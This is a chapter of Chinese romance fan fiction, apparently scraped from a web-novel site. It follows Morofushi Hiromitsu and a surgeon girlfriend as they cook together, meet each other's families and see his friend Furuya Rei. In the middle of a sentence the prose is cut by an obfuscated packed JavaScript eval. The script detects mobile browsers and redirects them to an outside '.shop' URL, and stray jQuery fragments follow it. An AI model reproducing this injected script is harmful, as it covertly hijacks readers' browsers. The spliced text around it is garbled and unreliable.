文趣网 > 都市小说 > 流浪苏格兰如何据为己有? > 18. 余生都是苏格兰
    周末的黄昏,褪去了急诊室的消毒水味和警视厅的硝烟气息,属于成年人的约会,往往从充满烟火气的超市开始。

    生鲜区明亮的灯光下,诸伏景光推着购物车,正站在立式冷藏柜前熟练地挑选着番茄。

    骨节分明的手指轻轻翻看着蒂头,又微微捏了捏果肉的软硬,神情专注得仿佛在对待什么重要的证物。

    青木纱月像个尽职尽责的小尾巴一样跟在他身边,只不过,她的视线完全被熟食区铁板上正在滋滋冒油的碳烤羊肋排给死死捉住了,咽口水的声音在嘈杂的超市里都难以隐藏。

    “想吃汉堡排还是照烧鸡腿?”诸伏景光把一盒卖相极佳的雪花牛肉放进车篮子里,转头看向身边的小馋猫。

    青木纱月艰难地把视线从羊肋排上拔回来,疯狂眨眼:“小孩子才做选择,成年人可以都要吗?”

    诸伏景光轻笑出声,上挑的猫眼里盛满了纵容。

    “可以,”他推着车往前走,“但作为交换,青木医生今晚要负责洗菜。”

    “没问题!”青木纱月回答得信誓旦旦,甚至还骄傲地拍了拍胸脯,“那我就勉为其难,顺便把鸡腿去骨的活儿也包办了吧……毕竟论起切肉,我可是专业的。”

    诸伏景光推车的动作顿了一下。

    脑海中不自觉地浮现出外科医生拿着柳叶刀、在无影灯下对着无辜鸡腿进行精准解剖的画面……他默默看了一眼身边的女孩,无奈地叹了口气,嘴角却怎么也压不下来:“……大可不必,青木医生,杀鸡焉用牛刀。”

    事实证明,在厨房这个领地,某不愿透露姓名的外科医生那点可怜的自信,被诸伏警官精湛的刀工给严重降维打击了。

    听着案板上他切洋葱时传来‘笃笃笃’极富节奏感的声响,青木纱月靠在中岛台边,手里捏着一颗滴水的番茄,视线却不由自主地飘向了正在忙碌的男人。

    他脱下了外套,只穿着一件贴身的浅色针织衫。

    最要命的是,那件被他系在胸前的围裙——那是前阵子两人在商场买东西时抽奖抽到的“假面超人印花围裙”。充满童趣的卡通图案,配上男人宽阔的肩膀、窄紧的腰线,以及那双握着厨刀的、极具力量感与性感的双手……产生了一种极其犯规的反差萌。

    诸伏景光正专注地盯着平底锅里滋滋作响的汉堡排,火候正紧,他头也没回地轻声拜托:“纱月,帮我拿一下顶柜上的黑胡椒好吗?”

    男人的声音打断了她的想入非非。

    “哦!好的!”青木纱月连忙放下摆弄许久的番茄,踮起脚尖去够上方的调料罐。

    青木纱月把身躯凑近流理台上空,努力踮起脚尖,伸长了手臂。指尖勉强擦过冰凉的玻璃瓶身,却始终差了一点力气把它拨过来。

    试了两次无果,青木纱月认命地叹了口气,准备转身去拿中岛台旁边的小圆凳:“稍等一下哦,我去拿个——”

    话音未落。

    她刚一转身,鼻尖就猛地撞上了一堵温热坚实的“墙”。

    原来是诸伏景光见她迟迟没有带着胡椒出现,怕锅里的肉煎老了,便顺手调小了火候自己跨步走过来取。

    青木纱月转身的瞬间,诸伏景光刚好倾身上前,修长的手臂正越过她的头顶去够那个调料瓶。

    这极具巧合的时间差,让青木纱月几乎是直直的撞进他的怀里。

    诸伏景光也愣了一下,但身体反应比脑子还快,他下意识地放低了另一只手,稳住了由于碰撞而微微后仰的青木纱月。

    此刻,他一手越过她的肩膀探向顶柜,另一只手自然地垂在她的身侧。挺拔的身躯就这样将她整个人圈在一个极狭小、却又充满安全感的空间里。

    鼻尖瞬间被淡淡的皂香和食物温暖的香气填满。

    青木纱月甚至能隔着那层薄薄的针织衫,清晰地感受到男人结实的胸膛,以及传来的灼热体温。

    厨房里只有平底锅里传来的细微油煎声。

    “……撞疼了吗?”

    他的声音从极近的头顶传来,带着胸腔微微的共鸣,充斥着下意识的保护和关切。

    青木纱月僵在原地,觉得呼吸都不太顺畅了,只能拨浪鼓似的摇了摇头。

    诸伏景光垂下眼眸,视线刚好落进女孩那双因为错愕而微微瞪大的眼睛里,也看到了她迅速攀上绯红的耳廓。

    他拿到了那瓶黑胡椒。

    按照常理,他此刻应该立刻退开。

    但他停顿了一秒。

    男人的喉结微不可察地滚动了一下,握着调料瓶的手指微微收紧。

    他不仅没有立刻后退,反而就着这个呼吸相闻的姿势,极其自然地低头看着她,原本清朗的声音压低了几分,透着一丝他自己都没察觉的微哑:“拿到了。”

    “谢谢。”他低声说道,气息扫过她的耳廓。

    说完,他才缓缓直起身,拉开了距离,转身走回炉灶前继续翻动汉堡排。

    只是那翻面的动作,似乎比刚才慢了半拍。

    青木纱月觉得自己的耳朵一定红透了。

    ……

    半小时后,晚餐正式上桌。

    卖相极佳的照烧鸡腿泛着诱人的焦糖色泽,旁边是酱汁浓郁、还在滋滋作响的厚切汉堡排。

    青木纱月迫不及待地切下一小块汉堡排送进嘴里。下一秒,她的眼睛瞬间瞪得溜圆,一只手忍不住捂住了嘴巴。

    “……诸伏警官,你老实交代,”她含糊不清地疯狂输出,“你其实是在米其林三星餐厅工作过吧?!这汉堡排的汁水!这调味的层次感!这鸡腿肉的鲜嫩度!我感觉我连舌头都差点给吞下去了!”

    面对青木医生有些浮夸却又无比真诚的“夸夸群”式赞美,诸伏景光坐在对面,单手撑着下巴。厨房里暖黄色的灯光落在他带笑的眼底,温柔得快要溢出来。

    “慢点吃,”他轻声说,顺手抽了张纸巾递过去,“没人跟你抢。”

    青木纱月一边大口干饭,一边好奇地抬起头:“可是你平时当警察那么忙,这厨艺到底是怎么练出来的啊?总不能是警校的必修课吧?”

    空气在这个问题抛出后,出现了短暂的停顿。

    诸伏景光嘴角的弧度微微收敛了一些。他垂下眼眸,视线落在眼前的餐盘上,沉默了两秒……

    “是很小的时候……就开始学了。”

    他的声音很轻,像是一阵抓不住的风,透着一丝连他自己都没察觉到的怅惘。

    “原本只是在厨房帮工,但后来……变成想记住妈妈的味道。”

    咀嚼的动作瞬间僵住。

    青木纱月的脑海中,突然划过以前两人聊天时,诸伏景光无意间吐露过的一句话——

    “诸伏家,现在只剩下我和哥哥两人了。”

    ——父母双亡。

    ——靠着记忆里的味道去怀念母亲。

    ——嘶……我真该死。

    ——哪壶不能提,偏偏提了哪壶……

    刚才还叽叽喳喳的青木纱月,瞬间像个做错事的孩子一样僵在了原地。

    手足无措间,手里的刀叉不小心在瓷盘上划拉出“刺啦——”一声刺耳的声响。

    但这声音却远不及青木纱月此刻心底泛起的隐隐刺痛来得让人难受。

    “对、对不起……”她连手都不知道该往哪放了,眼眶瞬间憋得微红,“我不是故意提这个的……”

    看着女孩慌乱又心疼的模样,诸伏景光心底那点被旧事勾起的淡淡伤感,瞬间被一片滚烫的柔软所取代。

    他放下筷子,突然伸出手,越过不宽的餐桌,温热的指腹轻轻蹭过她的眼角,帮她擦掉了那颗因为心疼而凝结出的、不听话的眼泪。

    “不用道歉,纱月。”

    他看着她的眼睛,目光深邃、坦荡,又带着极致的温柔。

    “这本来就不是什么值得伤心的事情:味道作为记忆的载体,被我分享给关爱我的人……我想,这也是妈妈会想看见的。”

    就在青木纱月刚要松一口气的时候,面前的男人却微微倾身,拉近了两人在餐桌上的距离。

    他那双总是温润的上挑猫眼里,此刻却闪过了一丝捕猎者般的狡黠。

    “不过……”他像是忽然想起什么,目光落在她还没来得及收回的表情上,停了一瞬,像是在斟酌用词,语气依旧温和,却慢慢多了一点不容拒绝的意味:“既然青木医生现在——把我的底细都知道了,还被我养成这般口味……”

    他轻轻笑了一下,带着钩子般的磁性:“以后再说‘随便吃什么都行’,就有点不太负责了吧。”

    他又低头夹了一块肉放进她碗里。

    “多吃点……”

    ————

    这句带着点私心的“负责”,在几天后顺理成章地演变成了更郑重的议程。

    准备回长野县见诸伏高明的那天早上。

    “景光,”青木纱月对着镜子转了个身,“帮我看看,我这样合适吗?”

    “合适。”

    “真的吗,”她皱眉,“会不会太随便了?第一次见你哥,我是不是应该正式一点?但是太正式又感觉很奇怪,而且我也不知道他喜欢什么风格的人……”

    诸伏景光坐在沙发上,托着腮看她:“纱月。”

    “什么?”

    “你已经换了三件了。”

    青木纱月顿了一下:“……这件最好看。”

    “嗯,”他弯起眼睛,“我知道。”

    “那你刚才为什么不说!”

    “你没问我。”

    “我问的是合不合适!!算了,衣服解决了。那见面礼要不要带——”

    “不用。”

    “礼貌上——”

    “不用。”

    “青木纱月。”诸伏景光站起来,走到她背后,在镜子里看着她,语气温和,“我哥很好说话。”

    “真的?”

    “真的。”他顿了一下,嘴角微微弯起,“就是说话比较文绉绉。”

    “……文绉绉?”

    诸伏景光含笑看着她,没有回答。

    “诸伏景光!你说的‘文绉绉’是有多文绉绉!?”

    “到时候,我会尽量帮你翻译。”

    青木纱月盯着镜子里他那副欣赏自己慌乱的表情,倏然明白了什么,她深吸一口气:“诸伏景光你绝对是故意的!”

    “没有,”他低头,在她耳边轻声说,“但你紧张的样子,很可爱。”

    “喂……这不是重点啦!!!”

    ————

    事实证明,风水向来没有所谓的“偏爱”一说。

    几周后,当轮到两人准备回青木家见爸妈时,情况发生了彻底的反转。

    青木纱月换好鞋,拎起包准备出门,回头一看,诸伏景光还站在玄关,低头看着手里的伴手礼,一动不动。

    从换衣服到现在,他已经路过茶几边的小镜、走廊的穿衣镜不知道多少次了。

    “景光?”

    “嗯?”

    “……你已经看那个盒子五分钟了。”

    “哦,我在确认。”

    “确认什么?”

    “包装有没有问题。”

    青木纱月走过去,把那个包装精美的点心盒从他手里拿走,翻来覆去检查了圈还给他:“没问题呀。”

    诸伏景光重新低下头看那个盒子。

    青木纱月盯着他看了三秒,缓缓弯起嘴角:“景光,你是在紧张吗?”

    “不紧张。”他回答得太快了。

    “那你刚才问我,我爸喜欢喝茶还是喝咖啡——”

    “正常问题。”

    “你问了两遍。”

    诸伏景光抬起头看了她一眼,没有说话。

    青木纱月忍了三秒,没忍住,笑出了声:“诸伏景光,你一个蹚过枪林弹雨的,见我爸有什么好紧张的啦!”

    “不紧张。”

    “你最好是。”

    诸伏景光低头看着她,沉默了一拍,开口时语气难得带了一丝不确定:“……我第一句话说什么合适?”

    青木纱月愣了一秒,彻底笑开了。

    “哇,你居然真的在紧张诶!!景光,我记得当年第一次见面,你受伤时除了该有的警惕之外我都没见你焦虑,怎么见我爸妈——”

    “性质不同。”诸伏景光打断她,语气认真,“枪林弹雨我至少心里有底,你父母——我是真没有把握。”

    青木纱月笑意一收。

    她看着他低头又去对着镜子检查袖口,这个平时

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17560365|204536||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    处变不惊的人,今天却为了她连一句问候该说什么都在反复斟酌。

    “诸伏景光。”她走过去,抬手帮他把领口稍微整了整,“很得体,真的。”

    诸伏景光低头看了她一眼:“……确定?”

    “确定,”青木纱月拉住他的手,往门口走,“走吧,我爸妈不吃人的。而且,”她回头弯起眼睛,“你这么好看,我妈肯定喜欢你。至于我爸要是考察你的工作或收入,我是独生女嘛,放心,这个我帮你兜着。”

    诸伏景光跟着她走了两步,低头看着她拉着他手的样子。

    “……谢谢。”

    青木纱月哼了一声,转回去,声音轻了一点:“谢什么,又不是外人。”

    ————

    得到了双方家人的认可后,两人的生活彻底沉淀出了安稳的底色。

    某个阳光和煦的午后,不知道从哪里翻出了一本旧相册。

    青木纱月靠在诸伏景光肩膀上,好奇地凑过去,随手翻了一页。

    “这个卷毛好帅诶。”

    诸伏景光低头看了一眼青木纱月指尖的人影。

    松田阵平。照片里的卷毛青年在警校操场笑得肆意又张扬,仿佛连阳光都偏爱他几分。

    ——那个家伙啊,总是带着一种能劈开黑暗的锐气。无论是当年在学校徒手修手枪,还是后来那些惊心动魄的瞬间……他的存在感,从来都是这样让人无法忽视。

    “诸伏景光?”

    诸伏景光总算从那段灿烂得有些刺眼的回忆中抽回注意力。

    青木纱月已经不知道翻到第几页了,正托着腮,眉飞色舞地指着另一张照片:“这个也很好看!看起来是那种长袖善舞的花花公子——”

    又翻一页。

    “哇这一页有三个,帅哥的朋友果然也是帅哥——”

    诸伏景光看着她翻得津津有味,沉默了两秒……眼疾手快地把相册合上了。

    “诶……?”青木纱月抬起头,“我还没看完呢——”

    “看完了。”

    “没有!我才翻不到一半——等等?景光你在吃醋吗!”

    诸伏景光没有回答,直接把人揽进怀里抱紧。

    “唔——”

    “那个卷毛,”青木纱月被抱得动弹不得,还不死心,故意继续认真发问:“他叫什么名字——”

    怀抱收紧了一点。

    “诸伏景光!!”

    “嗯。”

    “你真的吃醋啦?!”

    “嗯,”他闷声说,下巴抵着她发顶,“有意见吗。”

    青木纱月挣扎了两下没挣开,最后放弃,把头靠进他怀里,笑出了声。

    “嘿嘿……没意见。”

    ——傻瓜。

    ————

    相册里的旧时光,终究有那么一两个人,是他无论如何都想带她去见一面的。

    三人齐聚在一家隐私性极好的咖啡馆内。

    “这是青木纱月,我女朋友。”

    降谷零看了她一眼,笑了笑:“久仰。”

    “啊,你就是降谷!”青木纱月眼睛一亮,“景光提过你。说你是他为数不多的好友之一,是少见的金发黑皮帅哥,很好认,你们还是幼驯染。”

    “嗯,从高中开始。”降谷零点头,语气不自觉带上些许得意,“所以他的事,我基本上全都知道。他觉得重要的,他都会告诉我。”

    青木纱月若有所思地转向诸伏景光:“你跟他说什么了——”

    “喝咖啡,”诸伏景光不动声色地打断,“咖啡香要散了。”

    降谷零看着这个场面,低下头,喝了一口,没再说话,但眼角似有什么东西在漂浮。

    片刻后,他放下杯子,语气平静,像是在说一件寻常事:“我认识他这么多年,第一次见他在人前——”他停顿了一下,“这么外溢的幸福。”

    诸伏景光看了他一眼,没有说话。

    青木纱月听见这个评价,悄悄侧过脸。

    降谷零看见了,弯了弯眼睛,继续说:“松田要是在,大概会说——‘不愧是景老爷呐……’”

    诸伏景光:“……”

    萩原的话,降谷零在心里想,会把气氛聊得很舒服,不知不觉就和青木纱月聊熟了,等回过神来,两个人的恋爱细节大概已经被他套得七七八八。

    “伊达班长,”降谷零开口,语气里带着几分怀念的笑意,“他是我们五个里最早‘脱单’的,当年在警校第一个宣布自己有女朋友时,可是震惊全场。他一直觉得,我们几个里最不该孤单的就是你。”

    青木纱月眨了眨眼:“……伊达班长是个什么样的人呢?”

    “是个非常可靠、又非常有底气的人。”降谷零慢慢说,目光像是越过了眼前的咖啡蒸气,看向了某个虚空却温暖的地方,“我想,若是他现在看着你,大概会像以前那样拍着你的肩膀说——‘不错嘛诸伏,终于等到你的幸福了。’”

    降谷零举起咖啡杯,对诸伏景光略略示意:

    “恭喜。这份祝福,我也替另外那两个没法到场的倒霉玩意一起带到了。”

    诸伏景光在心里给幼驯染来了一肘,面上纹丝不动,端起杯子接过祝福。

    “……谢谢。”

    明明只有短短的一句道谢,却仿佛已经承载了这十年间所有的惊心动魄与来日方长。

    降谷零瞥了他一眼,语气带着点笑意:“说起来,你最近还喝苏格兰吗?”

    诸伏景光的动作微不可查的一顿,有些无语的看向明显话里有话的幼驯染:“偶尔吧。比起波本来说,还是苏格兰味道好点。”

    话题很快又被带走,青木纱月安静地看着两人有一搭没一搭的闲谈。

    她没有说话。只是在桌下,悄悄地、坚定地把手放进了诸伏景光的掌心里。

    下一秒,被一片滚烫的温热,用力回握。

    或许所谓“据为己有”,从来不是把人强行留下,而是让那个曾经漂泊的人,心甘情愿地不再离开。

    于是,流浪就有了归处。

    来日方长,也成了期待。

    .

    .

    .

    .

    .

    .

    ——全文·完——